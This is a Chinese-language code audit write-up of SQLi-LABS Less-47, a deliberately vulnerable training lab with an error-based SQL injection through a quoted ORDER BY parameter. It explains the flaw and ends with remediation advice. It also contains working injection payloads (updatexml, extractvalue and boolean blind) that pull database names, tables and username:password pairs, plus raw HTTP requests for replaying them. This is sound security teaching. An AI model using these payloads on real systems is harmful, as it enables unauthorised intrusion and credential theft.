Less-47 代码审计报告:ORDER BY 单引号报错型注入
本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与
Less-47/index.php实际文件一致。
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-47: ORDER BY Clause - Error based - Single quote |
| 源码路径 | Less-47/index.php |
| 漏洞类型 | SQL 注入 – 报错型(ORDER BY 子句)- 单引号字符串 |
| 注入点参数 | GET /sqli-labs/Less-47/?sort= |
| 报错/盲注 | 报错回显(查询失败时回显 mysql_error()) |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x |
2. 漏洞代码定位
文件: Less-47/index.php
// 第 14 行:直接取 GET 参数,未过滤
$id=$_GET['sort'];
// 第 22 行:单引号包裹直接拼接进 ORDER BY
$sql = "SELECT * FROM users ORDER BY '$id'";
// 第 23 行
$result = mysql_query($sql);
// 第 55 行:查询失败时回显原始报错
print_r(mysql_error());
关键漏洞点:
- 第 14 行:
$id=$_GET['sort'];未过滤。 - 第 22 行:
ORDER BY '$id'单引号拼接,$id进入字符串字面量上下文。 - 第 55 行:
print_r(mysql_error());回显报错,可报错注入。
3. 漏洞分析
- 输入来源:
$_GET['sort'],未过滤。 - SQL 拼接位置:
ORDER BY '$id'。与 Less-46 相比多了一层单引号,注入需先闭合引号。 - 闭合方式:单引号
',利用-- -注释掉尾部引号。注入 Payload 形如1' AND ...-- -,最终 SQL 为ORDER BY '1' AND ...-- -'。 - 是否回显:第 55 行回显
mysql_error(),可用updatexml/extractvalue报错注入带出数据。 - 注意:ORDER BY 位置不支持 UNION;报错函数与子查询是最优手段。
4. 利用方式
步骤一:判断注入点
sort=1 → 正常
sort=1' → 报错 "...ORDER BY '1'' LIMIT 0,1" 附近有语法错误 → 确认单引号闭合
sort=1'-- - → 正常 → 注释符生效,可注入
步骤二:报错注入提取数据(核心 Payload)
-- 爆当前库
sort=1' AND updatexml(1,concat(0x7e,database()),1)-- -
-- 爆表名
sort=1' AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)-- -
-- 爆数据
sort=1' AND updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 0,1)),1)-- -
预期结果:报错 XPATH syntax error: '~security'(~ 后为数据)。
等价 extractvalue:
sort=1' AND extractvalue(1,concat(0x7e,database()))-- -
步骤三:布尔盲注(备选)
sort=1' AND if((select database())='security',1,(select 1 from information_schema.tables))-- -
- 条件为真 → 排序表达式为
1,正常显示; - 条件为假 → 子查询
(select 1 from information_schema.tables)返回多行,SQL 报错,表格消失。
步骤四:进阶
报错信息约 32 字符截断,超长用 substring() 分段;本关为 mysql_query 单语句,不支持堆叠。
5. Yakit 重放数据包
GET /sqli-labs/Less-47/?sort=1%27%20AND%20updatexml(1,concat(0x7e,database()),1)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
爆表名报文:
GET /sqli-labs/Less-47/?sort=1%27%20AND%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security')),1)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close
说明:%27='、%20=空格、--%20-=-- -(闭合注释)。
6. 修复建议
修复一(首选):排序字段白名单枚举
ORDER BY 是标识符位置,预处理无法绑标识符,必须白名单:
<?php
$allow = ['id', 'username', 'password'];
$sort = isset($_GET['sort']) ? $_GET['sort'] : 'id';
if (!in_array($sort, $allow, true)) {
$sort = 'id';
}
$sql = "SELECT * FROM users ORDER BY $sort";
$result = mysql_query($sql);
修复二:严格校验排序表达式
if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $sort)) {
die('Invalid sort field');
}
修复三:输入校验 + 最小权限
- 关闭报错回显,删除
print_r(mysql_error())。 - 数据库账号最小权限;升级 PHP 7+ / 8+,移除
mysql_*扩展,使用 PDO/mysqli。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前需:导入
sql-lab.sql、配置sql-connections/db-creds.inc、使用支持mysql_*的 PHP 5.x 环境。
正文完